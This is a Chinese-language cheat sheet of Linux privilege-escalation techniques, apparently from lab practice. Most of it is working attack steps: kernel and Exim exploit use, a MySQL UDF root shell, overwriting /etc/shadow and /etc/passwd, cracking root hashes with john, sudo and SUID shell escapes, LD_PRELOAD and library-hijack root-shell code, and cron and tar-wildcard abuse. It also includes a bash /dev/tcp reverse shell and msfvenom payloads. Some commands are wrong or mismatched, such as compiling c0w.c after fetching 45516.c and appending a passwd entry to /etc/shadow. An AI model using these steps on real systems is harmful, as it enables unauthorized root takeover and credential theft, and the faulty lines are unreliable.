Linux 提权总结
一、常用基础
1、自定义可执行文件(Custom Executable)
可能有某些根进程执行另一个可以控制的进程。在这些情况下,以下C代码一旦编译,将生成一个作为根运行的sbashell:
int main()
{ setuid(0);
system("/bin/bash -p");
}
编译
gcc -o <name> <filename.c>
2、linux中常用的反弹shell(msfvenom)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf >
shell.elf
该程序可通过nc、ncat或者msf的 multi/handler接收一个反弹shell
二、提权总结
1.内核提权
1.1通过脏牛进行提取
1.1.1查看内核版本
$ uname -a
Linux debian 2.6.32-5-amd64 1 SMP Tue May 13 16:34:35 UTC 2014 x86_6 4 GNU/Linux
1.1.2查找对漏洞
searchsploit linux kernel 2.6 priv esc debian
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 2.6 (Debian 4.0 / Ubuntu / Gentoo) UDEV < 1.4.1 - Local Privilege Escalation (1) | linux/local/8478.sh
Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation | linux_x86-64/local/45516.c
Linux Kernel < 2.6.19 (Debian 4) - 'udp_sendmsg' Local Privilege Escalation (3) | linux/local/9575.c
Linux Kernel < 2.6.7-rc3 (Slackware 9.1 / Debian 3.0) - 'sys_chown()' Group Ownership Alteration Privilege Escalation | linux/local/718.c
Linux Kernel < 3.16.39 (Debian 8 x64) - 'inotfiy' Local Privilege Escalation | linux_x86-64/local/44302.c
Samba 2.2.8 (Linux Kernel 2.6 / Debian / Mandrake) - Share Privilege Escalation | linux/local/23674.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------- -------------------------
1.1.3下载对应的payload
└─# searchsploit Lightbox -m 45516.c
[!] Could not find EDB-ID #
Exploit: Linux Kernel 2.6.x / 3.10.x / 4.14.x (RedHat / Debian / CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/45516
Path: /usr/share/exploitdb/exploits/linux_x86-64/local/45516.c
Codes: CVE-2018-14634
Verified: False
File Type: C source, ASCII text
cp: overwrite '/root/test/45516.c'?
Copied to: /root/test/45516.c
1.1.4将payload上传至服务器并编译
gcc -pthread c0w.c -o c0w
1.1.5执行文件提权
./c0w
$ /usr/bin/passwd
root@debian:/home/user# id
uid=0(root) gid=1000(user) groups=0(root) ...
2.通过服务提权
2.1通过mysql服务提权
2.1.1查询root权限运行的服务
$ ps aux | grep "^root”
...
root 6933 0.0 4.9 165472 24376 pts/0 Sl 02:13 0:02 /usr
/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=root ...
2.1.2查询版本
$ mysqld --version
mysqld Ver 5.1.73-1+deb6u1 for debian-linux-gnu on x86_64 ((Debian))
2.1.3MySQL能够安装通过共享对象运行的用户自定义函数(UDF)。
2.1.4按照这个漏洞中的说明来编译并安装一个执行系统命令的UDF
https://www.exploit-db.com/exploits/1518
2.1.5安装UDF后,在MySQL shell中运行以下命令
mysql> select do_system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/ro
otbash');
2.1.6返回到我们的常规shell,并运行一个root的/tmp/bootbash:
/tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root
),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(u
ser)
- 检查服务的时候我们经常也会用到下面的命令
<program> --version
<program> -v
dpkg -l | grep <program>
rpm –qa | grep <program>
3.通过写特殊文件的方式提权
需要用到的命令
find /etc -maxdepth 1 -writable -type f
find /etc -maxdepth 1 -readable -type f
find / -executable -writable -type d 2> /dev/null
3.1 通过读取到的/etc/shadow文件提权
3.1.1 /etc/shadow 文件简介
/etc/阴影文件包含用户密码哈希,默认情况下,除root用户外,任何用户都无法读取。如果我们能够读取/etc/shadow文件的内容,我们可能能够破解根用户的密码哈希。如果我们能够修改/etc/shadow文件,我们就可以用一个我们知道的密码散列替换根用户的密码哈希。
3.1.2 查看/etc/shadow文件的读写权限
ls -l /etc/shadow
-rw-r—rw- 1 root shadow 810 May 13 2017 /etc/shadow
3.1.3 提取root用户的密码哈希
head -n 1 /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXv
RDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::
3 1.4将上面提取到的hash保存到hash.txt
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVl
aXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt'
3.1.5通过john破解hash
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.t
xt hash.txt
...
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE
2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
3.1.6通过破解到的密码登录root
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)
3.2通过写/etc/shadow文件提权
3.2.1查看/etc/shadow文件的写权限
ls -l /etc/shadow
-rw-r—rw- 1 root shadow 810 May 13 2017 /etc/shadow
3.2.2 将/etc/shadow备份以便后面恢复
cp /etc/shadow /tmp/shadow
3.2.3生成一个新的SHA-512密码哈希:
mkpasswd -m sha-512 newpassword
$6$DoH8o2GhA$5A7DHvXfkIQO1Zctb834b.SWIim2NBNys9D9h5wUvYK3IOGdxoOlL9VE
WwO/okK3vi1IdVaO9.xt4IQMY4OUj/
3.2.4用生成的哈希替换/etc/shadow中root的哈希
root:$6$DoH8o2GhA$5A7DHvXfkIQO1Zctb834b.SWIim2NBNys9D9h5wUvYK3IOGdxoO
lL9VEWwO/okK3vi1IdVaO9.xt4IQMY4OUj/:17298:0:99999:7:::
3.2.5用我们刚才生成的密码登录root
su
Password:
root@debian:/# id
uid=0(root) gid=0(root) groups=0(root)
3.3通过/etc/passwd提取
3.3.1/etc/passwd文件简介
该文件历来包含的用户密码散列。为了向后兼容,如果/etc/passwd中的用户行的第二个字段包含密码哈希,那么它优先/etc/shadow中的哈希。如果我们可以写入/etc/passwd,我们就可以轻松地为根用户输入一个已知的密码哈希,然后使用su命令切换到根用户。或者,如果我们只能附加到文件中,我们可以创建一个新用户,但为它们分配根用户ID (0)。这是可行的,因为Linux允许针对相同的用户ID的多个条目,只要用户名不同。
root:x:0:0:root:/root:/bin/bash
第二个字段中的“x”指示Linux在/etc/shadow文件中查找密码哈希
root::0:0:root:/root:/bin/bash
在某些版本的Linux中,可以简单地删除“x”,Linux将其解释为没有密码的用户:
3.3.2检查/etc/passwd的读写权限
ls -l /etc/passwd
-rw-r--rw- 1 root root 951 May 13 2017 /etc/passwd
3.3.3使用openssl生成一个密码哈希
openssl passwd "password"
L9yLGxncbOROc
3.3.4用刚才生成的哈希替换passwd文件中root的哈希
root:L9yLGxncbOROc:0:0:root:/root:/bin/bash
3.3.5使用生成的密码登录root
su
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
3.4 给passwd追加一个新的用户提权
3.4.1 将用户追加进去
echo "newroot:L9yLGxncbOROc:0:0:root:/root:/bin/bash" >>/etc/shadow
3.4.2 用追加的用户登
su newroot
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
4.通过用户备份的特殊文件提权
即使机器对重要或敏感文件具有正确的权限,用户也可能对这些文件创建了不安全的备份。在文件系统中寻找可读的备份文件总是值得探索的。一些常见的地方包括用户主目录、/(根)目录、/tmp和/var/备份
查找有意义的备份文件
$ ls -lah /home/user
$ ls -lah /
$ ls -lah /tmp
$ ls -lah /var/backups
4.1通过私钥文件提权
4.1.1在/etc/.ssh/目录下找到可疑文件
ls -l /.ssh
total 4
-rw-r--r-- 1 root root 1679 Aug 24 18:57 root_key
4.1.2 检查该文件发现可能是一个私钥文件
head -n 1 /.ssh/root_key
-----BEGIN RSA PRIVATE KEY-----
4.1.3确认其是否开启了ssh root登录权限
grep PermitRootLogin /etc/ssh/sshd_config
PermitRootLogin yes
4.1.4 拷贝私钥到本地并赋权
chmod 600 root_key
4.1.5使用私钥登录
ssh -i root_key root@192.168.1.25
5.通过sudo方式提权
sudo是一个允许用户使用其他用户的安全特权运行其他程序的程序。默认情况下,其他用户将是根用户。用户通常需要输入密码才能使用sudo,并且必须允许他们通过/etc/用户文件中的规则(s)进行访问。规则可用于限制用户在特定的程序中,并放弃密码输入要求
sudo 常用的命令如下
sudo <program>
sudo –u <username> <program>
sudo -l
如果您的低特权用户帐户可以使用sudo不受限制(即您可以运行任何程序),并且您知道用户的密码,特权升级很容易,通过使用“切换用户”(su)命令生成一个root的shell:
sudo su
5.1通过sudo su提权
5.1.1查询当前用户的sudo 权限
sudo -l
[sudo] password for kali:
Matching Defaults entries for kali on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User kali may run the following commands on kali:
(ALL : ALL) ALL
5.1.2 执行 su提权
┌──(kali㉿kali)-[/root]
└─$ sudo su
┌──(root㉿kali)-[~]
└─# id
uid=0(root) gid=0(root) groups=0(root)
或者如下
sudo -l
[sudo] password for kali:
Matching Defaults entries for kali on kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User kali may run the following commands on kali:
(ALL : ALL) ALL
┌──(kali㉿kali)-[/root]
└─$ sudo /bin/bash -p
┌──(root㉿kali)-[~]
└─# id
uid=0(root) gid=0(root) groups=0(root)
5.1.3 sudo 其他方式
即使我们被限制通过sudo运行某些程序,有时也有可能“利用”该程序并生成一个shell。由于初始程序以根权限运行,所以生成的shell也会以根权限运行。具有外壳转义序列的程序列表可以在这里找到: https://gtfobins.github.io/
5.2 sudo通用提权方法
5.2.1列出可以执行sudo的程序
sudo -l
...
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
5.2.2查看每一个程序的提权方法
对于列表中的每个程序,查看GTFOBins(https://gtfobins.github.io/)上是否有一个壳转义序列
5.2.3通过find提权
sudo find . -exec /bin/sh \;
[sudo] password for kali:
# id
uid=0(root) gid=0(root) groups=0(root)
5.3 第三方程序提权
当一个程序没有逃逸序列时,可能仍然存在升级特权的可能性。如果我们可以读取由根用户拥有的文件,我们可能能够提取有用的信息(例如密码、哈希值、密钥)。如果我们可以写入由根用户拥有的文件,我们可能能够插入或修改信息
5.3.1列出可执行sudo的程序
sudo -l
...
(root) NOPASSWD: /usr/sbin/apache2
apache2没有任何已知的shell逃逸序列,但是当解析给定的配置文件时,它会错误并打印它不理解的任何行
5.3.2通过apach2查看shadow文件
$ sudo apache2 -f /etc/shadow
Syntax error on line 1 of /etc/shadow:
Invalid command 'root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84O
WAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7::
:', perhaps misspelled or defined by a module not included in the ser
ver configuration
5.3.3保存哈希
echo '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVl
aXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0' > hash.txt'
5.3.4通过john破解
john --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.t
xt hash.txt
...
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE
2 2x])
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
5.4利用环境变量提权(LD_PRELOAD)
sudo命令运行程序时,默认会继承用户环境变量;但可以通过配置文件(/etc/sudoers)中的选项如env_reset和env_keep来控制环境变量的继承和保留
LD_PRELOAD是Linux和类Unix系统中的一个环境变量,允许您指定一个共享对象(.so)文件的路径。当您将LD_PRELOAD设置为共享对象的路径时,该共享对象将在执行程序时加载在任何其他库或共享对象之前。
通过创建一个自定义共享对象并在其中定义一个init()函数,您可以在共享对象被任何使用LD_PRELOAD的程序加载时执行代码
LD_PRELOAD 如果实际用户ID(real user ID)与有效用户ID(effective user ID)不同的话,它将无法工作。要使 LD_PRELOAD 环境变量生效,需要通过 sudo 的配置选项 env_keep 来保留它。这样,即使用户切换了权限,LD_PRELOAD 仍然可以在程序中起作用。
5.4.1列出运行sudo执行的程序
sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
...
请注意,env_keep
选项包括了 LD_PRELOAD
环境变量,以确保在使用 sudo
切换权限时,LD_PRELOAD
环境变量的值会被保留。这样,即使权限发生了变化,您也可以确保 LD_PRELOAD
仍然可以在程序中正常使用。
5.4.2创建一个c程序
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init(){
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
5.4.3编译其未库文件
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c
-fPIC
表示生成位置无关的代码,通常用于共享对象。-shared
表示生成一个共享对象文件。-nostartfiles
表示不使用标准启动文件,因为我们只需要一个共享对象
5.4.4使用sudo提权
sudo LD_PRELOAD=/tmp/preload.so apache2
id
uid=0(root) gid=0(root) groups=0(root)
通过使用 sudo
命令运行一个允许的程序(在此示例中是 apache2
),并设置 LD_PRELOAD
环境变量为 preload.so
的完整路径。这会导致 preload.so
在 apache2
运行时被加载,从而修改了 apache2
的行为
5.5环境变量提权(LD_LIBRARY_PATH)
LD_LIBRARY_PATH
环境变量包含了一组目录,用于首先搜索共享库。ldd
命令可用于打印程序使用的共享库列表。通过创建一个与程序中使用的共享库同名的共享库,并将 LD_LIBRARY_PATH
设置为其父目录,程序将加载我们的共享库而不是原始的共享库。
具体来说:
-
LD_LIBRARY_PATH
环境变量:它包含了一组目录路径,用于指示操作系统在运行程序时首先搜索共享库的位置。如果程序需要依赖于共享库,操作系统将首先在这些目录中查找相应的共享库文件。 -
ldd
命令:这个命令可以用于查看一个程序依赖的共享库列表。例如,ldd /usr/sbin/apache2
将显示apache2
程序所依赖的共享库列表。 -
通过创建一个同名的共享库并设置
LD_LIBRARY_PATH
,可以影响程序加载的共享库。这意味着,如果您在程序所在的目录中创建了一个与程序需要的共享库同名的共享库,并将LD_LIBRARY_PATH
设置为该共享库的父目录,那么程序将加载您创建的共享库,而不是系统中的原始共享库。
这种技术有时用于修改程序的行为或者为程序注入新功能。
5.5.1运行 ldd 命令来查看 apache2 程序文件的共享库依赖
ldd /usr/sbin/apache2
linux-vdso.so.1 => (0x00007fff063ff000)
...
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f7d4199d000)
libdl.so.2 => /lib/libdl.so.2 (0x00007f7d41798000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007f7d41570000)
/lib64/ld-linux-x86-64.so.2 (0x00007f7d42e84000)
5.5.2创建一个library_path.c文件
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
5.5.3编译库_path.c到libcrypt.so.1
gcc -o libcrypt.so.1 -shared -fPIC library_path.c
-
-o libcrypt.so.1
: 这个选项指定编译器生成的输出文件的名称。在这里,它将生成一个名为libcrypt.so.1
的文件。 -
-shared
: 这个选项告诉编译器生成一个共享库,而不是可执行文件。 -
-fPIC
: 这个选项表示要生成位置无关的代码,这在共享库中通常是必需的。位置无关的代码允许共享库在内存中加载并与其他程序共享,而不会导致地址冲突。
5.5.4提权
sudo LD_LIBRARY_PATH=. apache2
# id
uid=0(root) gid=0(root) groups=0(root)
6.定时任务提权(Cron Jobs)
6.1cron内容介绍
cron任务是用户可以安排特定时间或间隔运行的程序或脚本。Cron作业以拥有它们的用户的安全级别运行。默认情况下,cron作业使用/bin/sh shell运行,但环境变量有限
与cron任务相关联的文件权限的错误配置可能会导致容易的特权升级。如果我们可以编写一个作为cron作业的一部分来运行的程序或脚本,我们就可以用我们自己的代码来替换它
6.1.1查看系统范围内的crontab的内容
cat /etc/crontab
...
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
6.1.2查找该文件overwrite.sh
locate overwrite.sh
/usr/local/bin/overwrite.sh
6.1.3查看该文件的权限
ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh
6.1.4替换文件内容
#!/bin/bash
bash -i >& /dev/tcp/192.168.1.26/53 0>&1
6.1.5通过nc接收反弹shell
nc –nvlp 53
Listening on [any] 53 ...
Connect to [192.168.1.26] from (UNKNOWN) [192.168.1.25] 47352
bash: no job control in this shell
root@debian:~# id
id
uid=0(root) gid=0(root) groups=0(root)
6.2 重写PATH环境变量提权
crontab PATH环境变量默认设置为/usr/bin:/bin。PATH变量可以在crontab文件中被覆盖。如果一个cron作业程序/脚本不使用绝对路径,并且其中一个路径目录是可由用户编写的,那么我们就可以创建一个与cron作业名称相同的程序/脚本
6.2.1查看系统范围内的crontab的内容
cat /etc/crontab
...
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/
usr/bin
...
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
请注意,/home/用户目录(我们可以写入它)位于PATH变量的开头,并且第一个cron任务不使用绝对路径
6.2.2在/home/user中使用以下内容创建文件overwrite.sh
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
6.2.3给文件赋予写权限
chmod +x /home/user/overwrite.sh
6.2.4等待定时任务执行
6.2.5一旦创建了/tmp/rootbash文件,则执行它(使用-p来保存有效的UID)以获得根shell
$ /tmp/rootbash –p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
groups=0(root) ...
6.3通过通配符提权
当将通配符(*)作为参数的一部分提供给命令时,shell将首先在通配符上执行文件名扩展(也称为全局扩展)。此过程将用当前目录中的文件和目录名列表替换通配符。一个简单的方法是从您的主目录中运行以下命令
Linux文件系统的特性,其中文件名通常是非常灵活和宽容的,而且在执行命令之前发生的文件名扩展可能会导致将文件名作为命令行选项传递给命令。这可能会导致潜在的安全风险,因为用户可以通过创建具有特定名称的文件来操纵命令行选项。以下是示例命令,说明了这一情况:
假设有一个名为--help
的文件,您可以尝试运行以下命令
$ ls *
% touch ./-l
$ ls *s
-
ls *
:这个命令使用通配符*
来列出当前目录中的所有文件和目录 -
touch ./-l
:这个命令创建了一个名为-l
的文件。这个文件名以破折号开头,看起来像是一个命令行选项 -
ls *
(再次运行):在这个命令中,您再次使用*
通配符来列出所有文件和目录,包括您创建的-l
文件。由于-l
看起来像是一个命令行选项,它可能导致ls
命令以不同的方式运行,具体取决于ls
命令的实现。
这个示例强调了在Linux系统中文件名的灵活性以及如何使用特殊字符和文件名来操纵命令行操作。这种情况下,-l
文件名可能会被解释为ls
命令的选项,而不是作为一个普通的文件名
文件名不简单地局限于-h或help这样的简单选项。实际上,我们可以创建与复杂选项相匹配的文件名:——选项=键=值GTFOBins(https://gtfobins.github.io)可以帮助确定一个命令是否有命令行选项,这对我们的目的很有用
6.3.1查看系统范围内的crontab的内容
cat /etc/crontab
...
* * * * * root /usr/local/bin/compress.sh
6.3.2查看compress.sh内容
cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
请注意,tar命令是在/home/user目录中使用通配符运行的
6.3.3GTFOBins显示tar有命令行选项,可以用于作为检查点功能的一部分运行其他命令
6.3.4使用msfvens创建一个反向shell有效载荷
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<IP> LPORT=53 -f elf
-o shell.elf
6.3.5将该文件复制到远程主机上的/home/用户目录中,并使其可执行
chmod +x /home/user/shell.elf
6.3.6在/home/用户目录中创建两个文件
$ touch /home/user/--checkpoint=1
$ touch /home/user/--checkpoint-action=exec=shell.elf
6.3.7在本地创建一个nc监听,等待反弹shell
nc -nvlp 53
listening on [any] 53 ...
connect to [192.168.1.26] from (UNKNOWN) [192.168.1.25] 47362
bash: no job control in this shell
root@debian:~# id
id
uid=0(root) gid=0(root) groups=0(root)
7.SUID / SGID 提权
SUID文件将以文件所有者的特权被执行。SGID文件将以该文件组的特权被执行。如果文件属于root,它将使用根权限执行,我们可以使用它来升级权限。
我们可以使用以下的find命令来定位设置了SUID或SGID位的文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root shadow 19528 Feb 15 2011 /usr/bin/expiry
-rwxr-sr-x 1 root ssh 108600 Apr 2 2014 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 37552 Feb 15 2011 /usr/bin/chsh
-rwsr-xr-x 2 root root 168136 Jan 5 2016 /usr/bin/sudo
-rwxr-sr-x 1 root tty 11000 Jun 17 2010 /usr/bin/bsd-write
-rwxr-sr-x 1 root crontab 35040 Dec 18 2010 /usr/bin/crontab
就像我们能够对通过sudo运行的程序使用shell转义序列一样,我们也可以对SUID / SGID文件做同样的事情。在这里可以找到带有shell转义序列的程序列表: https://gtfobins.github.io
关于LD_PRELOAD和LD_LIBRARY_PATH的简要说明
您可能在想:我们为什么不能像使用sudo特权升级时那样使用LD_PRELOAD和LD_LIBRARY_PATH环境变量的相同技巧呢?
默认情况下,Linux会禁用这些技巧,因为它们存在明显的安全风险!
在执行SUID文件时,这两个环境变量都会被忽略
某些程序会安装SUID文件来帮助其操作。就像作为根目录运行的服务可能有漏洞一样,我们可以利用根外壳,这些SUID文件也可能有漏洞。我们可以使用搜索漏洞、谷歌和GitHub找到漏洞,就像我们找到针对内核和服务的漏洞一样
7.1SUID/SGID 普通提权
7.1.1寻找SUID/SGID文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-xr-x 1 root root 963691 May 13 2017 /usr/sbin/exim-4.84-3
...
Exim是一种流行的邮件传输代理,它因为有许多安全漏洞而有些臭名昭著
7.1.2查看exim版本
/usr/sbin/exim-4.84-3 --version
Exim version 4.84 #3 built 13-May-2017 01:45:35
7.1.3查找exim的payload
searchsploit exim 4.84
...
Exim 4.84-3 - Local Privilege Escalation | exploits/linux/local/39535.sh
7.1.4将利用脚本复制到目标机器。您可能需要从脚本中删除^M字符
sed -e "s/^M//" 39535.sh > privesc.sh
^M
实际上是回车符的表示方式。
7.1.5给文件赋予可执行权限
chmod + privesc.sh
7.1.6执行文件提升权限
./privesc.sh
[ CVE-2016-1531 local root exploit
sh-4.1# id
uid=0(root) gid=1000(user) groups=0(root)
7.2SUID/SGID共享对象注入提权
当一个程序被执行时,它将尝试加载它所需要的共享对象。通过使用一个名为strace的程序,我们可以跟踪这些系统调用,并确定是否没有找到任何共享对象。如果我们可以写入程序试图打开的位置,我们就可以创建一个共享对象,并在其加载它时生成一个根壳
7.2.1查找具有SUID/SGID的文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-sr-x 1 root staff 9861 May 14 2017 /usr/local/bin/suid-so
suid-so文件应该是使用root用户权限执行
7.2.2对SUID文件运行strace
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
access("/etc/suid-debug", F_OK) = -1 ENOENT (No such file or
directory)
...
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such
file or directory)
libcalc.so
的共享对象文件没有找到,并且程序在我们用户的主目录中寻找它。这可能会引发一些安全问题,特别是如果我们能够在用户主目录中写入文件
7.2.3创建/home/user/.config目录
7.2.4创建libcalc.c文件
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
static void inject() __attribute__((constructor));
:这是一个函数声明,但它具有constructor
属性。在C语言中,constructor
属性用于指示这个函数应该在程序启动时自动执行,而不需要明确调用它。这个函数被命名为inject
void inject()
:这是inject
函数的定义。它没有任何参数,并且没有返回值(void
表示没有返回值)
在inject
函数中的代码:这个函数中的代码有两个主要部分:
setuid(0);
:这行代码试图将用户ID(UID)设置为0,这是超级用户(root)的UID。这是为了提升程序的特权级别,以便执行具有更高权限的操作。system("/bin/bash -p");
:这行代码调用了system
函数来执行一个shell命令,即在/bin/bash
中启动一个交互式shell。选项-p
用于保留当前用户的环境变量,以便更容易地获取以前的用户环境
7.2.5将libcalc.c编译为/home/user/.config/libcalc.so7
$ gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
7.2.6运行SUID可执行文件以获得一个根shell
/usr/local/bin/suid-so
Calculating something, please wait...
bash-4.1# id
uid=0(root) gid=1000(user) egid=50(staff) groups=0(root) ...
7.3SUID/SGID路径环境变量
PATH环境变量包含一个shell应该尝试查找程序的目录列表。如果一个程序试图执行另一个程序,但只指定程序名称,而不是它的完整(绝对)路径,shell将搜索路径目录,直到找到它。由于用户可以完全控制他们的PATH变量,所以我们可以告诉shell首先在一个我们可以写入的目录中查找程序
如果一个程序试图执行另一个程序,那么该程序的名称很可能作为一个字符串嵌入到可执行文件中。我们可以在可执行文件上运行字符串来查找字符串。我们还可以使用strace来查看程序是如何执行的。另一个名为ltrace的程序也可能有用
查找可能利用的程序
- 查找文件中可打印的字符串
strings /path/to/file
- 踪执行指定命令时发生的
execve
系统调用的文件
strace -v -f -e execve <command> 2>&1 | grep exec
- 跟踪执行该命令时调用的库函数
ltrace <command>
7.3.1寻找SUID/SGID文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-sr-x 1 root staff 6883 May 14 2017 /usr/local/bin/suid-env
suid-env文件应该使用root用户权限来执行的
7.3.2查找该程序中可打印的字符串
strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
...
service apache2 start
该文件可能正在尝试运行没有完整路径的服务程序
7.3.3使用strace
跟踪了/usr/local/bin/suid-env
命令执行时的execve
系统调用
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
[pid 14395] execve("/bin/sh", ["sh", "-c", "service apache2 start"]
7.3.4使用ltrace
跟踪/usr/local/bin/suid-env
程序执行期间的库函数调用
ltrace /usr/local/bin/suid-env 2>&1 | grep service
system("service apache2 start"
7.3.5创建一个c程序
int main() {
setuid(0);
system("/bin/bash -p");
}
7.3.6编译程序
gcc -o service service.c
7.3.7到PATH变量的当前目录(或新服务可执行文件所在的位置),并执行根外壳的SUID文件
PATH=.:$PATH /usr/local/bin/suid-env
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root) ...
7.4 SUID/SGID通过滥用shell提权1
在某些shell(特别是Bash <4.2-048)中,可以使用绝对路径名定义用户函数。可以导出这些函数,以便子进程可以访问它们,并且这些函数可以优先于被调用的实际可执行文件
7.4.1寻找SUID/SGID文件
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
...
-rwsr-sr-x 1 root staff 6899 May 14 2017 /usr/local/bin/suid-env2
...
7.4.2同7.3中的一样,详细了解该程序养成一个习惯
strings /usr/local/bin/suid-env2
...
/usr/sbin/service apache2 start
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
[pid 16729] execve("/bin/sh", ["sh", "-c", "/usr/sbin/service apache2
start"]
ltrace /usr/local/bin/suid-env2 2>&1 | grep service
system("/usr/sbin/service apache2 start"
7.4.3查看bash版本
bash --version
GNU bash, version 4.1.5(1)-release (x86_64-pc-linux-gnu)
7.4.4创建一个名为“/usr/sbin/service”的Bash函数,并导出该函数
$ function /usr/sbin/service { /bin/bash -p; }
$ export –f /usr/sbin/service
7.4.5 执行SUID程序
/usr/local/bin/suid-env2
root@debian:~# id
uid=0(root) gid=0(root) groups=0(root) ...
7.5 SUID/SGID通过滥用shell提权2
如果一个SUID文件通过Bash来运行另一个程序(例如通过使用system()
函数),那么它可以继承环境变量。当执行SUID文件时,该命令将以文件所有者的权限执行。在Bash 4.4及更高版本中,以root权限运行的shell不会继承PS4环境变量,即小于bash4.4的版本可以提权
7.5.1 还是以上面的/usr/local/bin/suid-env2程序为例,进行刨析
strings /usr/local/bin/suid-env2
...
/usr/sbin/service apache2 start
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
[pid 16729] execve("/bin/sh", ["sh", "-c", "/usr/sbin/service apache2
start"]...
ltrace /usr/local/bin/suid-env 2>&1 | grep service
system("service apache2 start"
7.5.2运行具有启用的Bash调试和将PS4变量分配为我们的有效载荷的SUID文件
这句话意味着您要执行一个SUID文件,并在执行过程中启用Bash的调试功能,并将PS4变量设置为您的有效载荷(可能是一段脚本或命令)。这可以用于调试SUID文件的执行过程,以便查看其详细的执行步骤和输出
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown
root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
7.5.3运行/tmp/rootbash
文件,并使用-p
命令行选项以获取一个root权限的shell
/tmp/rootbash -p
rootbash-4.1# id
uid=1000(user) gid=1000(user) euid=0(root) egid=0(root)
groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(pl
ugdev),1000(user)
8.通过敏感的Passwords& Keys提权
虽然可能看起来不太可能,但弱密码存储和密码重复使用可以是升级权限的简单途径。
虽然根用户的帐户密码经过哈希处理并安全存储在/etc/shadow
中,但其他密码,例如用于服务的密码,可能以明文形式存储在配置文件中。
